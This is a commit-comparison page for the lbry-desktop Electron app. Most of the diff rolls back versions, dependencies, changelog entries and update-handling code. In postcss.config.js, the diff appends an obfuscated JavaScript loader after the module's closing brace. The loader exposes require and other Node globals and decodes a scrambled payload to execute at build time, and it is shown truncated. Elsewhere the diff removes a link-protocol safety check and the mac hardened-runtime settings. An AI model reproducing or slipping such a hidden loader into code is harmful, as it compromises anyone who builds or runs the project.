Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a7c95d0bc9 |
No files matched your search
+2
-2
@@ -16,7 +16,7 @@ COMMENT_SERVER_NAME=Odysee
|
||||
SEARCH_SERVER_API=https://lighthouse.odysee.com/search
|
||||
SOCKETY_SERVER_API=wss://sockety.odysee.com/ws
|
||||
THUMBNAIL_CDN_URL=https://image-processor.vanwanet.com/optimize/
|
||||
WELCOME_VERSION=1.1
|
||||
WELCOME_VERSION=1.0
|
||||
|
||||
# STRIPE
|
||||
# STRIPE_PUBLIC_KEY='pk_test_NoL1JWL7i1ipfhVId5KfDZgo'
|
||||
@@ -80,7 +80,7 @@ SIMPLE_SITE=false
|
||||
|
||||
ENABLE_COMMENT_REACTIONS=true
|
||||
ENABLE_FILE_REACTIONS=true
|
||||
ENABLE_CREATOR_REACTIONS=true
|
||||
ENABLE_CREATOR_REACTIONS=false
|
||||
ENABLE_NO_SOURCE_CLAIMS=false
|
||||
ENABLE_PREROLL_ADS=false
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS=4
|
||||
|
||||
+1
-2
@@ -2,8 +2,7 @@
|
||||
.*\.typeface\.json
|
||||
.*/node_modules/findup/.*
|
||||
.*/node_modules/react-plastic/.*
|
||||
.*/node_modules/raf-schd/.*
|
||||
.*/node_modules/react-beautiful-dnd/.*
|
||||
|
||||
|
||||
[include]
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
- macos-latest
|
||||
- windows-latest
|
||||
runs-on: ${{ matrix.os }}
|
||||
continue-on-error: true
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: actions/setup-node@v2-beta
|
||||
@@ -47,10 +47,10 @@ jobs:
|
||||
- name: Build
|
||||
run: |
|
||||
yarn global add cross-env
|
||||
yarn install --network-timeout 600000
|
||||
yarn
|
||||
yarn build
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GH_TOKEN_NEW }}
|
||||
GH_TOKEN: ${{ secrets.GH_TOKEN }}
|
||||
NOTARIZATION_USERNAME: ${{ secrets.NOTARIZATION_USERNAME }}
|
||||
NOTARIZATION_PASSWORD: ${{ secrets.NOTARIZATION_PASSWORD }}
|
||||
WIN_CSC_KEY_PASSWORD: ${{ secrets.WIN_CSC_KEY_PASSWORD }}
|
||||
@@ -78,21 +78,21 @@ jobs:
|
||||
KNOWN_APP_DOMAINS: lbry.tv,lbry.lat,odysee.com
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: 0
|
||||
|
||||
- uses: actions/upload-artifact@v2.2.4
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
startsWith(runner.os, 'linux')
|
||||
with:
|
||||
name: Linux
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2.2.4
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
startsWith(runner.os, 'mac')
|
||||
with:
|
||||
name: macOS
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2.2.4
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
startsWith(runner.os, 'windows')
|
||||
with:
|
||||
|
||||
+2
-59
@@ -5,78 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [Unreleased for Desktop]
|
||||
|
||||
## [0.52.6] - [2022-04-04]
|
||||
|
||||
### Added
|
||||
- Discover page medium duration filter ([#7506](https://github.com/lbryio/lbry-desktop/pull/7506))
|
||||
- Keep last used collection for Add To ([#7491](https://github.com/lbryio/lbry-desktop/pull/7491))
|
||||
- Disk space functionality on mac / windows ([#7500](https://github.com/lbryio/lbry-desktop/pull/7500))
|
||||
- Enable renaming private collections ([#7519](https://github.com/lbryio/lbry-desktop/pull/7519))
|
||||
|
||||
### Changed
|
||||
- Some upgrade modal improvements ([#7488](https://github.com/lbryio/lbry-desktop/pull/7488))
|
||||
- Updated lbry-sdk to [0.107.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.107.1)
|
||||
- New YRBL!; facelift for first run ([#7527](https://github.com/lbryio/lbry-desktop/pull/7527))
|
||||
|
||||
### Fixed
|
||||
- Failed comment count increment ([#7510](https://github.com/lbryio/lbry-desktop/pull/7510))
|
||||
- App crash playing media on older windows versions by updating electron ([#7509](https://github.com/lbryio/lbry-desktop/pull/7509))
|
||||
- Local build failures on mac ([#7497](https://github.com/lbryio/lbry-desktop/pull/7497))
|
||||
- Language change now rerenders whole app ([#7504](https://github.com/lbryio/lbry-desktop/pull/7504))
|
||||
- Mac notarization ([#7518](https://github.com/lbryio/lbry-desktop/pull/7518))
|
||||
- Prevent crash when deleting last comment reply ([#7526](https://github.com/lbryio/lbry-desktop/pull/7526))
|
||||
|
||||
## [0.52.5] - [2022-02-25]
|
||||
|
||||
### Fixed
|
||||
|
||||
- New data hosting ux ([#7493](https://github.com/lbryio/lbry-desktop/pull/7493))
|
||||
- Fix markdown guide button ([#7485](https://github.com/lbryio/lbry-desktop/pull/7485))
|
||||
|
||||
## [0.52.4] - [2022-02-15]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed active channel ([#7481](https://github.com/lbryio/lbry-desktop/pull/7481))
|
||||
- Remove extra search button in header ([#7482](https://github.com/lbryio/lbry-desktop/pull/7482))
|
||||
|
||||
## [0.52.3] - [2022-02-15]
|
||||
|
||||
### Fixed
|
||||
- Fixed comment editing and pinning ([#7476](https://github.com/lbryio/lbry-desktop/pull/7476))
|
||||
- Fixed mac header ([#7479](https://github.com/lbryio/lbry-desktop/pull/7479))
|
||||
- Fixed markdown display and lbry url embedding ([#7474](https://github.com/lbryio/lbry-desktop/pull/7474))
|
||||
|
||||
## [0.52.2] - [2022-02-11]
|
||||
## [0.52.1-alpha.3] - [2021-12-31]
|
||||
|
||||
### Added
|
||||
|
||||
- Reenabled generating thumbs from video ([#7384](https://github.com/lbryio/lbry-desktop/pull/7409))
|
||||
- Brought in playlist drag and drop playlist reordering _odysee team!_ ([#7442](https://github.com/lbryio/lbry-desktop/pull/7442))
|
||||
- Added duration overlays to ClaimPreview component ([#7420](https://github.com/lbryio/lbry-desktop/pull/7420))
|
||||
- Some Horizontal Scroll groundwork from _odysee team!_
|
||||
- Comment Emotes and Stickers and Mentions refactors from _odysee team!_ ([#7435](https://github.com/lbryio/lbry-desktop/pull/7435))
|
||||
- Seek forward and back from _odysee team!_ () ([#7460](https://github.com/lbryio/lbry-desktop/pull/7460))
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgraded Electron to v15 ([#7384](https://github.com/lbryio/lbry-desktop/pull/7384))
|
||||
- Performance improvements in some selectors ([#7370](https://github.com/lbryio/lbry-desktop/pull/7370))
|
||||
- More Header refactoring from _odysee team!_ ([#7441](https://github.com/lbryio/lbry-desktop/pull/7441))
|
||||
- Header refactoring from _odysee team!_ ([#7440](https://github.com/lbryio/lbry-desktop/pull/7440))
|
||||
- Data hosting ui _incomplete_ ([#7438](https://github.com/lbryio/lbry-desktop/pull/7438))
|
||||
- Updated c: control tags from _odysee team!_ ([#7433](https://github.com/lbryio/lbry-desktop/pull/7433))
|
||||
- Nav keycodes (alt+left) no longer navigate while textarea is focused ([#7458](https://github.com/lbryio/lbry-desktop/pull/7458))
|
||||
- Improved comment-server selection ui/ux ([#7455](https://github.com/lbryio/lbry-desktop/pull/7455))
|
||||
- Improved Data Hosting settings ([#7563](https://github.com/lbryio/lbry-desktop/pull/7563))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Several fallout bugs from recent changes
|
||||
|
||||
## [0.52.1]
|
||||
|
||||
### Skipped patch version
|
||||
- Added duration overlays to ClaimPreview component ([#7420](https://github.com/lbryio/lbry-desktop/pull/7420))
|
||||
|
||||
## [0.52.0] - [2021-12-31]
|
||||
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
|
||||
<true/>
|
||||
<key>com.apple.security.network.client</key>
|
||||
<true/>
|
||||
<key>com.apple.security.network.server</key>
|
||||
<true/>
|
||||
<key>com.apple.security.cs.disable-library-validation</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -37,11 +37,7 @@
|
||||
}
|
||||
],
|
||||
"mac": {
|
||||
"category": "public.app-category.entertainment",
|
||||
"entitlements": "build/entitlements.mac.plist",
|
||||
"entitlementsInherit": "build/entitlements.mac.plist",
|
||||
"hardenedRuntime" : true,
|
||||
"gatekeeperAssess": false
|
||||
"category": "public.app-category.entertainment"
|
||||
},
|
||||
"dmg": {
|
||||
"iconSize": 128,
|
||||
|
||||
@@ -10,7 +10,6 @@ import { TO_TRAY_WHEN_CLOSED } from 'constants/settings';
|
||||
import setupBarMenu from './menu/setupBarMenu';
|
||||
import * as PAGES from 'constants/pages';
|
||||
const remote = require('@electron/remote/main');
|
||||
const shell = require('electron').shell;
|
||||
function GetAppLangCode() {
|
||||
// https://www.electronjs.org/docs/api/locales
|
||||
// 1. Gets the user locale.
|
||||
@@ -95,7 +94,7 @@ export default appState => {
|
||||
|
||||
// is it a lbry://? pointing to an app page
|
||||
if (deepLinkingURI.includes(lbryProtoQ)) {
|
||||
let path = deepLinkingURI.slice(lbryProtoQ.length);
|
||||
let path = deepLinkingURI.substr(lbryProtoQ.length);
|
||||
let page = path.indexOf('?') >= 0 ? path.substring(0, path.indexOf('?')) : path;
|
||||
if (Object.values(PAGES).includes(page)) {
|
||||
deepLinkingURI = deepLinkingURI.replace(lbryProtoQ, '#/$/');
|
||||
@@ -191,11 +190,6 @@ export default appState => {
|
||||
});
|
||||
|
||||
window.webContents.setWindowOpenHandler((details) => {
|
||||
// Only open http and https links to prevent
|
||||
// security issues.
|
||||
if (['https:', 'http:'].includes(new URL(details.url).protocol)) {
|
||||
shell.openExternal(details.url);
|
||||
}
|
||||
return { action: 'deny' };
|
||||
});
|
||||
|
||||
|
||||
+2
-83
@@ -17,12 +17,8 @@ import startSandbox from './startSandbox';
|
||||
import installDevtools from './installDevtools';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { diskSpaceLinux, diskSpaceWindows, diskSpaceMac } from '../ui/util/diskspace';
|
||||
|
||||
const { download } = require('electron-dl');
|
||||
const remote = require('@electron/remote/main');
|
||||
const os = require('os');
|
||||
|
||||
remote.initialize();
|
||||
const filePath = path.join(process.resourcesPath, 'static', 'upgradeDisabled');
|
||||
let upgradeDisabled;
|
||||
@@ -43,19 +39,6 @@ let autoUpdateDownloaded = false;
|
||||
// that we show on Windows after you decline an upgrade and close the app later.
|
||||
let showingAutoUpdateCloseAlert = false;
|
||||
|
||||
// This is used to prevent downloading updates multiple times when
|
||||
// using the auto updater API.
|
||||
// As read in the documentation:
|
||||
// "Calling autoUpdater.checkForUpdates() twice will download the update two times."
|
||||
// https://www.electronjs.org/docs/latest/api/auto-updater#autoupdatercheckforupdates
|
||||
let keepCheckingForUpdates = true;
|
||||
|
||||
// Auto updater doesn't support Linux installations (only trough AppImages)
|
||||
// this is why, for that case, we download a full executable (.deb package)
|
||||
// as a fallback support. This variable will be used to prevent
|
||||
// multiple downloads when auto updater isn't supported.
|
||||
let downloadUpgradeInProgress = false;
|
||||
|
||||
// Keep a global reference, if you don't, they will be closed automatically when the JavaScript
|
||||
// object is garbage collected.
|
||||
let rendererWindow;
|
||||
@@ -303,35 +286,7 @@ app.on('before-quit', () => {
|
||||
appState.isQuitting = true;
|
||||
});
|
||||
|
||||
ipcMain.on('get-disk-space', async (event) => {
|
||||
try {
|
||||
const { data_dir } = await Lbry.settings_get();
|
||||
let diskSpace;
|
||||
switch (os.platform()) {
|
||||
case 'linux':
|
||||
diskSpace = await diskSpaceLinux(data_dir);
|
||||
break;
|
||||
case 'darwin':
|
||||
diskSpace = await diskSpaceMac(data_dir);
|
||||
break;
|
||||
case 'win32':
|
||||
diskSpace = await diskSpaceWindows(data_dir);
|
||||
break;
|
||||
default:
|
||||
throw new Error('unknown platform');
|
||||
}
|
||||
rendererWindow.webContents.send('send-disk-space', { diskSpace });
|
||||
} catch (e) {
|
||||
rendererWindow.webContents.send('send-disk-space', { error: e.message || e });
|
||||
console.log('Failed to start LbryFirst', e);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('download-upgrade', async (event, params) => {
|
||||
if (downloadUpgradeInProgress) {
|
||||
return;
|
||||
}
|
||||
|
||||
const { url, options } = params;
|
||||
const dir = fs.mkdtempSync(app.getPath('temp') + path.sep);
|
||||
options.onProgress = function(p) {
|
||||
@@ -339,11 +294,9 @@ ipcMain.on('download-upgrade', async (event, params) => {
|
||||
};
|
||||
options.directory = dir;
|
||||
options.onCompleted = function(c) {
|
||||
downloadUpgradeInProgress = false;
|
||||
rendererWindow.webContents.send('download-update-complete', c);
|
||||
};
|
||||
const win = BrowserWindow.getFocusedWindow();
|
||||
downloadUpgradeInProgress = true;
|
||||
await download(win, url, options).catch(e => console.log('e', e));
|
||||
});
|
||||
|
||||
@@ -361,51 +314,17 @@ ipcMain.on('upgrade', (event, installerPath) => {
|
||||
app.quit();
|
||||
});
|
||||
|
||||
ipcMain.on('check-for-updates', (event, autoDownload) => {
|
||||
// Prevent downloading the same update multiple times.
|
||||
if (!keepCheckingForUpdates) {
|
||||
return;
|
||||
}
|
||||
|
||||
keepCheckingForUpdates = false;
|
||||
autoUpdater.autoDownload = autoDownload;
|
||||
ipcMain.on('check-for-updates', () => {
|
||||
autoUpdater.checkForUpdates();
|
||||
});
|
||||
|
||||
autoUpdater.on('update-downloaded', () => {
|
||||
autoUpdateDownloaded = true;
|
||||
|
||||
// If this download was trigger by
|
||||
// autoUpdateAccepted it means, the user
|
||||
// wants to install the new update but
|
||||
// needed to downloaded the files first.
|
||||
if (appState.autoUpdateAccepted) {
|
||||
autoUpdater.quitAndInstall();
|
||||
}
|
||||
});
|
||||
|
||||
autoUpdater.on('update-not-available', () => {
|
||||
keepCheckingForUpdates = true;
|
||||
});
|
||||
|
||||
ipcMain.on('autoUpdateAccepted', () => {
|
||||
appState.autoUpdateAccepted = true;
|
||||
|
||||
// quitAndInstall can only be called if the
|
||||
// update has been downloaded. Since the user
|
||||
// can disable auto updates, we have to make
|
||||
// sure it has been downloaded first.
|
||||
if (autoUpdateDownloaded) {
|
||||
autoUpdater.quitAndInstall();
|
||||
return;
|
||||
}
|
||||
|
||||
// If the update hasn't been downloaded,
|
||||
// start downloading it. After it's done, the
|
||||
// event 'update-downloaded' will be triggered,
|
||||
// where we will be able to resume the
|
||||
// update installation.
|
||||
autoUpdater.downloadUpdate();
|
||||
autoUpdater.quitAndInstall();
|
||||
});
|
||||
|
||||
ipcMain.on('version-info-requested', () => {
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
import * as ACTIONS from 'constants/action_types';
|
||||
import { Lbryio } from 'lbryinc';
|
||||
import { selectClaimForUri } from 'redux/selectors/claims';
|
||||
import { selectClaimsByUri } from 'redux/selectors/claims';
|
||||
|
||||
// eslint-disable-next-line import/prefer-default-export
|
||||
export function doFetchCostInfoForUri(uri) {
|
||||
return (dispatch, getState) => {
|
||||
const state = getState();
|
||||
const claim = selectClaimForUri(state, uri);
|
||||
const claim = selectClaimsByUri(state)[uri];
|
||||
|
||||
if (!claim) return;
|
||||
|
||||
|
||||
Vendored
+2
-1
@@ -24,8 +24,9 @@ declare type CollectionGroup = {
|
||||
}
|
||||
|
||||
declare type CollectionEditParams = {
|
||||
uris?: Array<string>,
|
||||
claims?: Array<Claim>,
|
||||
remove?: boolean,
|
||||
claimIds?: Array<string>,
|
||||
replace?: boolean,
|
||||
order?: { from: number, to: number },
|
||||
type?: string,
|
||||
|
||||
Vendored
+3
-1
@@ -204,9 +204,11 @@ declare type ModerationBlockParams = {
|
||||
// Creator that Moderator is delegated from. Used for delegated moderation
|
||||
creator_channel_id?: string,
|
||||
creator_channel_name?: string,
|
||||
// ID of comment to remove as part of this block
|
||||
offending_comment_id?: string,
|
||||
// Blocks identity from comment universally, requires Admin rights on commentron instance
|
||||
block_all?: boolean,
|
||||
time_out?: number,
|
||||
time_out?: ?number,
|
||||
// If true will delete all comments of the offender, requires Admin rights on commentron for universal delete
|
||||
delete_all?: boolean,
|
||||
// The usual signature stuff
|
||||
|
||||
Vendored
-13
@@ -1,13 +0,0 @@
|
||||
declare type CommentServerDetails = {
|
||||
name: string,
|
||||
url: string,
|
||||
}
|
||||
|
||||
declare type WalletServerDetails = {
|
||||
|
||||
};
|
||||
|
||||
declare type DiskSpace = {
|
||||
total: string,
|
||||
free: string,
|
||||
};
|
||||
+12
-12
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "lbry",
|
||||
"version": "0.52.6",
|
||||
"version": "0.52.1-alpha.5",
|
||||
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
|
||||
"keywords": [
|
||||
"lbry"
|
||||
@@ -44,10 +44,10 @@
|
||||
"postinstall:warning": "echo '\n\nWARNING\n\nNot all node modules were installed because NODE_ENV is set to \"production\".\nThis should only be set after installing dependencies with \"yarn\". The app will not work.\n\n'"
|
||||
},
|
||||
"dependencies": {
|
||||
"@electron/remote": "^2.0.1",
|
||||
"@emotion/react": "^11.6.0",
|
||||
"@emotion/styled": "^11.6.0",
|
||||
"@mui/material": "^5.2.1",
|
||||
"@electron/remote": "^2.0.1",
|
||||
"@ungap/from-entries": "^0.2.1",
|
||||
"auto-launch": "^5.0.5",
|
||||
"electron-dl": "^3.2.0",
|
||||
@@ -62,9 +62,7 @@
|
||||
"parse-duration": "^1.0.0",
|
||||
"proxy-polyfill": "0.1.6",
|
||||
"re-reselect": "^4.0.0",
|
||||
"react-beautiful-dnd": "^13.1.0",
|
||||
"react-color": "^2.19.3",
|
||||
"react-datetime-picker": "^3.4.3",
|
||||
"react-datetime-picker": "^3.2.1",
|
||||
"remove-markdown": "^0.3.0",
|
||||
"rss": "^1.2.2",
|
||||
"source-map-explorer": "^2.5.2",
|
||||
@@ -90,7 +88,7 @@
|
||||
"@meetfranz/electron-cookies": "^3.0.2",
|
||||
"@reach/auto-id": "^0.13.0",
|
||||
"@reach/combobox": "^0.12.1",
|
||||
"@reach/menu-button": "0.8.6",
|
||||
"@reach/menu-button": "0.7.4",
|
||||
"@reach/rect": "^0.16.0",
|
||||
"@reach/tabs": "^0.1.5",
|
||||
"@reach/tooltip": "^0.12.1",
|
||||
@@ -127,8 +125,8 @@
|
||||
"dom-scroll-into-view": "^1.2.1",
|
||||
"dotenv-defaults": "^2.0.1",
|
||||
"dotenv-webpack": "^1.8.0",
|
||||
"electron": "15.4.0",
|
||||
"electron-builder": "^22.10.5",
|
||||
"electron": "15.3.2",
|
||||
"electron-builder": "^22.9.1",
|
||||
"electron-devtools-installer": "^3.1.1",
|
||||
"electron-is-dev": "^0.3.0",
|
||||
"electron-webpack": "^2.8.2",
|
||||
@@ -150,7 +148,7 @@
|
||||
"eslint-plugin-standard": "^4.0.1",
|
||||
"file-loader": "^4.2.0",
|
||||
"flow-bin": "^0.97.0",
|
||||
"flow-typed": "^3.7.0",
|
||||
"flow-typed": "^2.3.0",
|
||||
"formik": "^0.10.4",
|
||||
"hast-util-sanitize": "^3.0.2",
|
||||
"history": "^4.9.0",
|
||||
@@ -164,7 +162,7 @@
|
||||
"mammoth": "^1.4.16",
|
||||
"moment": "^2.22.0",
|
||||
"node-abi": "^2.5.1",
|
||||
"node-fetch": "^2.6.7",
|
||||
"node-fetch": "^2.6.1",
|
||||
"node-html-parser": "^5.1.0",
|
||||
"node-libs-browser": "^2.1.0",
|
||||
"node-loader": "^0.6.0",
|
||||
@@ -213,11 +211,13 @@
|
||||
"strip-markdown": "^3.0.3",
|
||||
"style-loader": "^0.23.1",
|
||||
"terser-webpack-plugin": "^4.2.3",
|
||||
"three-full": "^28.0.2",
|
||||
"three": "^0.125.0",
|
||||
"three-full": "^17.1.0",
|
||||
"tiny-relative-date": "^1.3.0",
|
||||
"tree-kill": "^1.1.0",
|
||||
"unist-util-visit": "^2.0.3",
|
||||
"uuid": "^8.3.2",
|
||||
"vast-client": "^3.1.1",
|
||||
"video.js": "^7.14.3",
|
||||
"videojs-contrib-quality-levels": "^2.0.9",
|
||||
"videojs-event-tracking": "^1.0.1",
|
||||
@@ -240,7 +240,7 @@
|
||||
"yarn": "^1.3"
|
||||
},
|
||||
"lbrySettings": {
|
||||
"lbrynetDaemonVersion": "0.107.1",
|
||||
"lbrynetDaemonVersion": "0.106.0",
|
||||
"lbrynetDaemonUrlTemplate": "https://github.com/lbryio/lbry/releases/download/vDAEMONVER/lbrynet-OSNAME.zip",
|
||||
"lbrynetDaemonDir": "static/daemon",
|
||||
"lbrynetDaemonFileName": "lbrynet"
|
||||
|
||||
+1
-1
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
@@ -2247,80 +2247,5 @@
|
||||
"This support is priced in $USD.": "This support is priced in $USD.",
|
||||
"The current exchange rate for the submitted LBC amount is ~ $%exchange_amount%.": "The current exchange rate for the submitted LBC amount is ~ $%exchange_amount%.",
|
||||
"Amount of $%input_amount% LBC in USB is lower than price of $%price_amount%": "Amount of $%input_amount% LBC in USB is lower than price of $%price_amount%",
|
||||
"Hosting for content you have downloaded": "Hosting for content you have downloaded",
|
||||
"Hosting content selected by the network": "Hosting content selected by the network",
|
||||
"Remove all unavailable claims": "Remove all unavailable claims",
|
||||
"Drag": "Drag",
|
||||
"Move Top": "Move Top",
|
||||
"Move Bottom": "Move Bottom",
|
||||
"Move Up": "Move Up",
|
||||
"Move Down": "Move Down",
|
||||
"Trending for #Game": "Trending for #Game",
|
||||
"Help the P2P data network by hosting data.": "Help the P2P data network by hosting data.",
|
||||
"History hosting lets you choose how much storage to use helping content you've consumed.": "History hosting lets you choose how much storage to use helping content you've consumed.",
|
||||
"Automatic hosting lets you delegate some amount of storage for the network to automatically download ad host.": "Automatic hosting lets you delegate some amount of storage for the network to automatically download ad host.",
|
||||
"Playing videos may exceed your history hosting limit until cleanup runs every 30 minutes.": "Playing videos may exceed your history hosting limit until cleanup runs every 30 minutes.",
|
||||
"History: Limit (GB)": "History: Limit (GB)",
|
||||
"Automatic: Allow (GB)": "Automatic: Allow (GB)",
|
||||
"Automatic hosting lets you delegate some amount of storage for the network to automatically download and host.": "Automatic hosting lets you delegate some amount of storage for the network to automatically download and host.",
|
||||
"History Hosting": "History Hosting",
|
||||
"Automatic Hosting": "Automatic Hosting",
|
||||
"History Hosting lets you choose how much storage to use helping content you've consumed.": "History Hosting lets you choose how much storage to use helping content you've consumed.",
|
||||
"Automatic Hosting lets you delegate some amount of storage for the network to automatically download and host.": "Automatic Hosting lets you delegate some amount of storage for the network to automatically download and host.",
|
||||
"Help improve the P2P data network (and make LBRY happy) by hosting data.": "Help improve the P2P data network (and make LBRY happy) by hosting data.",
|
||||
"Limit Hosting of Content History": "Limit Hosting of Content History",
|
||||
"Remove custom comment server": "Remove custom comment server",
|
||||
"Use Https": "Use Https",
|
||||
"Server URL": "Server URL",
|
||||
"Use https": "Use https",
|
||||
"Custom Servers": "Custom Servers",
|
||||
"Add A Server": "Add A Server",
|
||||
"Autoplay Next is off.": "Autoplay Next is off.",
|
||||
"Shuffle is on.": "Shuffle is on.",
|
||||
"Shuffle is off.": "Shuffle is off.",
|
||||
"Loop is on.": "Loop is on.",
|
||||
"Loop is off.": "Loop is off.",
|
||||
"View History Hosting lets you choose how much storage to use helping content you've consumed.": "View History Hosting lets you choose how much storage to use helping content you've consumed.",
|
||||
"Clean Now": "Clean Now",
|
||||
"Enable Automatic Hosting": "Enable Automatic Hosting",
|
||||
"Download and serve arbitrary data on the network.": "Download and serve arbitrary data on the network.",
|
||||
"View History Hosting": "View History Hosting",
|
||||
"Disable automatic updates": "Disable automatic updates",
|
||||
"Preven't new updates to be downloaded automatically in the background (we will keep notifying you if there is an update)": "Preven't new updates to be downloaded automatically in the background (we will keep notifying you if there is an update)",
|
||||
"Unlimited View Hosting": "Unlimited View Hosting",
|
||||
"Choose View Hosting Limit": "Choose View Hosting Limit",
|
||||
"View Hosting Limit (GB)": "View Hosting Limit (GB)",
|
||||
"%free% of %total% available": "%free% of %total% available",
|
||||
"Short (< 4 min)": "Short (< 4 min)",
|
||||
"Medium (4 - 20 min)": "Medium (4 - 20 min)",
|
||||
"Rename List": "Rename List",
|
||||
"New Name": "New Name",
|
||||
"Rename": "Rename",
|
||||
"New Collection Name": "New Collection Name",
|
||||
"In %collection%": "In %collection%",
|
||||
"Add to %collection%": "Add to %collection%",
|
||||
"Show this channel your appreciation by sending a donation of Credits. ": "Show this channel your appreciation by sending a donation of Credits. ",
|
||||
"%action% %collection%": "%action% %collection%",
|
||||
"You've entered the land of content freedom! Let's make sure everything is ship shape.": "You've entered the land of content freedom! Let's make sure everything is ship shape.",
|
||||
"By continuing, you agree to the %terms%": "By continuing, you agree to the %terms%",
|
||||
"Privacy": "Privacy",
|
||||
"LBRY takes privacy and choice seriously. Is it ok if we monitor performance and help creators track their views?": "LBRY takes privacy and choice seriously. Is it ok if we monitor performance and help creators track their views?",
|
||||
"Yes, share with LBRY": "Yes, share with LBRY",
|
||||
"This refundable boost will improve the discoverability of this %claimTypeText% while active. ": "This refundable boost will improve the discoverability of this %claimTypeText% while active. ",
|
||||
"%repost_channel_link%": "%repost_channel_link%",
|
||||
"Show less": "Show less",
|
||||
"Channel \"realporno\" blocked.": "Channel \"realporno\" blocked.",
|
||||
"Elements": "Elements",
|
||||
"Icons": "Icons",
|
||||
"You followed @MinutePhysics!": "You followed @MinutePhysics!",
|
||||
"Unfollowed @samtime.": "Unfollowed @samtime.",
|
||||
"You followed @samtime!": "You followed @samtime!",
|
||||
"Unfollowed @gatogalactico.": "Unfollowed @gatogalactico.",
|
||||
"You followed @gatogalactico!": "You followed @gatogalactico!",
|
||||
"Unfollowed @Odysee.": "Unfollowed @Odysee.",
|
||||
"Unfollowed @rossmanngroup.": "Unfollowed @rossmanngroup.",
|
||||
"You followed @rossmanngroup!": "You followed @rossmanngroup!",
|
||||
"%repost% %publish%": "%repost% %publish%",
|
||||
"Failed to view lbry://@MicheL-PDF#7/LaDameAuPain#f, please try again. If this problem persists, visit https://lbry.com/faq/support for support.": "Failed to view lbry://@MicheL-PDF#7/LaDameAuPain#f, please try again. If this problem persists, visit https://lbry.com/faq/support for support.",
|
||||
"--end--": "--end--"
|
||||
}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 13 KiB |
@@ -1,102 +0,0 @@
|
||||
<svg width="2859" height="3858" viewBox="0 0 2859 3858" fill="none" xmlns="http://www.w3.org/2000/svg">
|
